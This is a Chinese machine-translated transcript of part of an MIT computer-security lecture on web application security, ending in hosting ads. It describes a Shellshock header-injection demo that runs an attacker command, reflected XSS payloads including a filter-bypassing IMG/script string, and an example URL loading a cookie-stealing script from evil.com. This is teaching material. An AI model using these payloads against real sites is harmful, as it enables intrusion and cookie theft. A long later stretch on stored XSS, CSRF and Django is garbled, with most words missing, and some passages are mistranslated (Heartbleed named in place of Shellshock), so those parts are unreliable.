麻省理工学院的课程“计算机系统安全”。 讲座9:Web应用程序安全性,第1部分

麻省理工学院。 讲座课程#6.858。 “计算机系统的安全性。” Nikolai Zeldovich,James Mickens。 2014年


计算机系统安全是一门有关开发和实施安全计算机系统的课程。 讲座涵盖了威胁模型,危害安全性的攻击以及基于最新科学研究的安全技术。 主题包括操作系统(OS)安全性,功能,信息流管理,语言安全性,网络协议,硬件安全性和Web应用程序安全性。

第1课:“简介:威胁模型” 第1 部分 / 第2 部分 / 第3部分
第2课:“控制黑客攻击”, 第1 部分 / 第2 部分 / 第3部分
第3讲:“缓冲区溢出:漏洞利用和保护” 第1 部分 / 第2 部分 / 第3部分
讲座4:“特权分离”, 第1 部分 / 第2 部分 / 第3部分
讲座5:“安全系统从何而来?” 第1 部分 / 第2部分
讲座6:“机会” 第1 部分 / 第2 部分 / 第3部分
讲座7:“本地客户端沙箱” 第1 部分 / 第2 部分 / 第3部分
讲座8:“网络安全模型” 第1 部分 / 第2 部分 / 第3部分
讲座9:“ Web应用程序安全性” 第1 部分 / 第2 部分 / 第3部分

让我们开始我们一系列令人赞叹的Web安全故事中的第二个讲座。 我想立即开始快速演示示例,因为您知道我们的演示几乎无法正常工作。 希望您今天不会看到黑屏。

基本思想是,我首先想向您展示一个您可能已经听说过的Shellshock错误的示例。 在计算机安全性文献中,这是一个非常受欢迎的话题。



人们给Heartbleed错误赋予的最大危险等级为10(等级10)。他们认为这是安全系统应防止的最危险的错误。 我认为向您展示这个问题的鲜活历史是一个好主意,您可以向父母复述,以便他们了解在麻省理工学院读书是值得的。

那么,Shellshock错误的主要思想是什么? 这是一个很好的例子,说明了为什么创建跨多种技术,多种语言,多种操作系统等等的安全Web应用程序如此困难。 因此,主要思想是Shellshock利用以下事实:攻击者可以向服务器创建特殊的http请求并管理此请求中的标头。 我在黑板上写了一个非常简单的例子。
假设攻击者想要向CGI发送有关搜索猫的主题的GET请求,因为这正是人们一直在Internet上寻找的内容(只是在开玩笑)。 因此,会有一个问号,以及带有URL的某种标准主机头,例如example.com:

GET /querry.cgi? 搜索=猫
主持人:example.com
自定义-标头:自定义-值

现在请注意,攻击者还可以指定自定义标头。 例如,我想找到一种名为Custom-header的特定于应用程序的标头,以在其中指定一些Custom-value,因为Web应用程序可以定义一些无法使用简单的预定义HTTP标头表示的功能。 因此,尽管这一切似乎都无害。
但是最后,发生的事情是,许多用于处理CGI脚本的Web服务器实际上将接受来自Custom-value标头的这些自定义值,并使用它们来设置Bash环境变量。 也就是说,他们将使用此Custom-header为Bash变量的名称创建一个自定义标头,他们将使用攻击者提供的Custom-value并将其用作Bash变量的值。 设置此变量后,CGI服务器将对该环境的上下文进行一些处理。

这很糟糕,因为Web服务器不应从这些随机的“肮脏”事物中获取任意值。 因此,在Shellshock错误的一个特定示例中,发生的事情是,如果给Bash变量一些恶意值,则可能开始疯狂。



基本上,此功能的恶意定义是使用Bash脚本语言选择的,因此,不要为该过程的细节所困扰。 但是事实是,如果正确设置了Bash参数,则不会执行/ bin / id的这一部分。 因此,您仅定义了某种哑巴功能,该功能不执行任何操作并终止查询过程。

但是,此字符序列使Bash解析器感到困惑;它似乎偶然发现了位于斜杠后的这种废话。 然后他说:“哦,我可以继续在这里分析和执行一些命令,对吗?” 在这种情况下,它仅执行bin / id命令,该命令显示有关用户的一些信息。 但是该漏洞的本质在于,您可以在此处输入绝对的任何代码,而不是bin / id!

我将举一个非常简单的示例,您将在屏幕上看到该示例。 这是一个非常简单的Python服务器,您可以想象到的最简单的服务器。 我在这里使用GET方法。 此方法意味着遍历请求中的所有HTTP标头。





在标题中,我们有一个变量K的值和一个查询V的值。在这种情况下,GET仅打印它找到的标题。

然后他将做一些非常愚蠢的事情-进行系统调用并将shell值直接设置为标题中指示的值。 因此,这就是漏洞的全部根源。

如果我转到下一个标签页并启动受害者的网络服务器,我们会看到他已准备好接受请求。



然后,我可以编写我的特殊Shellshock客户端-它位于下一个选项卡上。



实际上,这非常简单-我只定义了这些恶意的Attack.str行之一,因此它首先具有这样的“弯曲”值。 然后我只知道在服务器端,一切都将按照我的意愿完成。

在这种情况下,我使用了无害的东西-回声“我拥有你的车”。 但是可能有什么。 您可以使用“ echo ATTACKER CMD”参数(即真正的攻击者的命令)运行另一个Bash shell,这可能非常危险。

因此,我设置了标头和用户请求,然后仅使用Python创建HTTP连接并将其发送到服务器。 那么到底会发生什么呢? 我在这里运行Shellshock客户端。



您会看到错误404出现在这里,因为我请求的文件都没有关系,我只是在此处插入HTML不存在的某种索引。 但是,如果您在此处的第二个选项卡上显示受害人的Web服务器,该服务器同意通过端口8282进行连接,则将看到他收到了我的消息“我拥有您的车”和ATTACKER CMD。



因为受害者的服务器一收到此标头,便立即设置Bash变量的值,因此,启动了ATTACKER CMD命令。 清楚吗?

观众:如果节目以这样的标题开头,会发生这种情况吗?

教授:是的。 因此,具体的攻击方式取决于Web服务器的外观,例如,是否使用Apache。 这个示例有点牵强,因为我实际上创建了另一个Bash shell,设置了shell变量,然后才启动该过程。 但是您可以想象,如果为每个传入的连接创建其他进程,则可以直接设置环境变量。

受众:因此,如果您返回Web服务器的代码,似乎漏洞比Shellshock严重得多。 因为您可以简单地通过将自定义标头设置为其他名称来进行系统调用并执行命令,所以在此示例中,我不必使用Shellshock错误。

教授:是的,没错,在这个特定的Web服务器上,我仅作为示例编写,其中有一件事情是不可信任的。 但是,如果这里不是Python,而是Apache,则可以使用set nth参数直接为任何特定服务设置环境值。 但是有些服务器会创建一个单独的进程,并执行与给定示例非常相似的操作。



我想给您的另一个示例是跨站点脚本编写的示例。 Shellshock的错误是内容消毒的重要性的一种示例。 我们讨论了一个事实,即您不应该只接受随机人的输入,而应直接在任何类型的团队中使用它。

跨站点脚本编写是另一个示例,它说明了可能出问题的原因。 在这个例子中,我有另一个用Python编写的简单CGI服务器。



这是从客户端收到请求时执行的句柄。 我在这里为答案打印了一些标题,而我的答案将是HTML文本。 事实证明,浏览器具有一些安全机制,可以尝试阻止我将向您展示的攻击。 因此,我可以通过将标题栏放在开头来禁用某些保护机制。

然后,CGI脚本以行形式= cgi.FieldStorage()开始访问所有字段和CGI请求。 想象一下,这个问号之后的行中的所有内容都代表我们示例的标题和参数:

GET /querry.cgi? 搜索=猫
主持人:example.com
自定义-标头:自定义-值

接下来,cgi脚本做了一件非常简单的事情-它立即打印出来自攻击者的某些东西的值。 这是相同的基本思想,但不是一个好主意,因为此打印函数将结果值直接打印到HTML本身中。

在这里可能发生以下情况。 假设我有一堆要运行的查询。 在此第一个请求中,我只是将消息值设置为Hello,即转到第一行的地址。



因此,如果我转到页面,我将在该页面上看到hello一词,因为服务器直接接受我传递给它的内容并打印“ hello”。 所以没有惊喜。



我知道我真的可以在那里传递任意HTML代码,并且如果将标头格式设置为h1,也就是我会将以hello结尾的第二行发送到服务器,它也会在页面上更改-您会看到单词样式已更改为h1标头样式。 因此有效,我直接将值输入页面。



太好了,现在我们正在开展业务,这很酷。 现在,我们只添加JavaScript代码,即在浏览器中运行我准备的第三行,其中插入了某个脚本,该脚本在alert参数(“ XSS”)之后运行。

所以现在我们看到一个空白屏幕。 似乎我们没有成功,因为看不到任何输出,而且我也没有注意到任何警告。



但是,如果我查看Web服务器的输出,我将看到Web服务器本身实际上并未收到此最终脚本标记。 尽管我尝试禁用XSS筛选器,但浏览器本身似乎以某种方式检测到某些异常。 所以这很有趣。 稍后我们将仔细研究这种保护机制,但是现在我将注意到浏览器正在尝试抵御跨站点脚本攻击。

但是您可以利用以下事实:HTML,CSS和JavaScript是极其复杂的语言,并且它们以难以理解的方式编写。 我将利用这一点,并使用条目的最后第四行,将其放置在浏览器的地址栏中。 这是包含无效URL的攻击字符串。 它包含图像<IMG“””>和脚本标签“>”的URL,实际上无法解析。 因此,在收到这样的一行后,浏览器就会感到困惑,并在屏幕上显示信息:“位于127.0.0.1:8282的页面显示:XSS”。 因此,内置的跨站点脚本检测实际上不起作用。



如果单击“确定”按钮,我们将只有一个空白页。 但是,如果您看一下它的内容,我们将看到难以理解的引号和括号。



但是,从攻击者的角度来看,损坏的页面并不重要,因为我们看到了警告,这意味着代码已启动。 它可以用来窃取Cookie或进行类似操作。

受众:跨站点方面是什么?

教授:跨站点方面是,如果攻击者可以说服用户访问URL(例如在此示例中),那么他就是确定消息内容的人。 是他创建了XSS警告或类似的东西。 本质上,发生的是受害者页面代表不管理该页面的人执行代码。

因此,我向您展示了我们生活的“肮脏”世界的两个快速演示。 那么,为什么跨站点脚本如此普遍? 为什么这些问题如此重要? 原因是网站变得越来越动态,它们希望托管多个用户生成的内容或包含来自其他域的内容。 例如,考虑新闻文章的评论部分,这些评论来自不可靠的人-来自用户。 这些站点以一种或另一种方式应该弄清楚组合这些东西的规则。

网站可能包含用户文档,例如Google或Office 365文档,所有这些文档均来自不可靠的人,但他们需要以某种方式彼此相处,并与Google或Microsoft的强大基础结构相处。

我们可以使用哪些类型的跨站点安全方案? 一种保护类型是浏览器本身中的跨站点脚本过滤器。 这些筛选器将尝试检测可能的跨站点脚本攻击。 而且,我们看到了其中一个过滤器正在运行-这是我们研究的场景的第三个示例。
假设您有URL foo.com/?q= <script src =“ evil.com/cookie secreter.js”>。 也就是说,此地址运行一个脚本,该脚本将用户重定向到恶意站点,并从用户那里窃取Cookie。



因此,浏览器将拒绝执行它,而此攻击者的把戏将无法工作。 原因很简单-浏览器只是检查该URL中是否有内置的<script> ,找到后就禁止单击此链接。 因此,这是一种非常简单的启发式方法,可以确定是否正在发生有害的事情,因为没有普通的开发人员会在地址中放置此类东西。 您可以配置浏览器配置选项以启用或禁用此类设置。 如果您只是想快速且无需大量验证,就输入一些JavaScript数据,这对于测试很有用。 但是通常默认情况下会启用浏览器中的此检查功能。

例如,Chrome和IE具有一个内置过滤器,该过滤器查看地址栏中的URL值并查找类似内容。 如果它们在那里,则浏览器可能会尝试将其完全删除或将<>中的源设置为空。 有许多启发式分析方法,这些方法基于哪些浏览器应检测到这些东西。 而且,如果您查看OWASP网站,则有使用这种启发式方法检测跨站点脚本的示例,以及有关如何绕过此过滤器的示例。

您知道,这很有趣,因为起初作为示例,我做了类似的事情,但是没有用。 然后,我查看了OWASP备忘单,发现第四个选项有效,这是一个img图像地址解析失败的示例。

因此,主要的问题(不允许您仅依赖内置的浏览器过滤器)是有很多不同的方法来强制CSS和HTML解析器以错误的方式解析某些内容。 因此,嵌入式解决方案不是完美的,它们不能涵盖所有漏洞。

受众:但是浏览器是否不应该检查这些内容?

教授:我的意思是当浏览器在代理服务器上并且代理执行本示例中显示的操作时。 也就是说,内置过滤器很有意义,因为浏览器内部可以有很多解析器,并且这些过滤器用于保护浏览器内部的处理程序层。

受众:我想可以说,检查此类事情是Web开发人员而不是用户的责任。

教授:从某种意义上讲,我们可以说在Unix或Windows上,还有软件开发人员(而不是用户)应负责的程序,开发人员应确保这些事情保持隔离。 但实际上,操作系统和硬件也起着重要的作用,因为否则,人们将不信任随机开发人员编写的任何程序。 但是基本上你是对的。 实际上,诸如Django之类的框架或类似的框架正在试图帮助您解决其中的一些问题。

过滤器不是一种理想的解决方案,它不能阻止所谓的持久性XSS或持久性跨站点脚本攻击。 这是一种反映,因为脚本代码只是“存在”于URL中。 用户关闭此URL后,攻击即告终止。

但是,假设用户在您网站的注释部分中放置了恶意HTML。 , . , .



, – . HTML- .

? - , . HTML, , . .

: , , , , - ?

: , . , — post. , , XML HTTP .

: , , …

: , , . , . - , .

, , .

, « HTTP », HTTP-only cookie. , , JavaScript cookie. , , , : «, , JavaScript, cookie»! - .

, , . , . , JavaScript cookie, - , , URL- - , , buy.com. , , , Ferrari, attacker, .



, JavaScript, cookie, , URL-. , CSRF , .

, , , . , , . , - , , , Google, Office 365 . . , Google googleusercontent.com. , Gmail . -, 25- .



? , - , google.com. , google.com. .

, – . , -, , . , . — Django. -, , -.



Django , , . – . CSS , . , . Django , : , .



-. , Django, Django : «, -, , , CGI». Django , , . - CGI0, , .

但是,Django的性能要好得多-可以消毒用户内容,因为它期望从中获得技巧。它只是立即将name变量的值放在此处,并对其进行编码,以使该内容永远不会脱离HTML上下文并执行JavaScript代码或类似的代码。

26:25分钟

麻省理工学院的课程“计算机系统安全”。 讲座9:“ Web应用程序安全性”,第2部分


该课程的完整版本可在此处获得

感谢您与我们在一起。 你喜欢我们的文章吗? 想看更多有趣的资料吗? 通过下订单或将其推荐给您的朋友来支持我们, 为我们为您发明的入门级服务器的独特模拟,为Habr用户提供30%的折扣: 关于VPS(KVM)E5-2650 v4(6核)的全部真相10GB DDR4 240GB SSD 1Gbps从$ 20还是如何划分服务器? (RAID1和RAID10提供选件,最多24个内核和最大40GB DDR4)。

VPS(KVM)E5-2650 v4(6核)10GB DDR4 240GB SSD 1Gbps至12月免费,在六个月内付款时,您可以在此处订购。

戴尔R730xd便宜2倍?在荷兰和美国,我们有2台Intel Dodeca-Core Xeon E5-2650v4 128GB DDR4 6x480GB SSD 1Gbps 100电视(249美元起) 阅读有关如何构建基础架构大厦的信息。 使用价格为9000欧元的Dell R730xd E5-2650 v4服务器的上等课程?

Source: https://habr.com/ru/post/zh-CN424289/


All Articles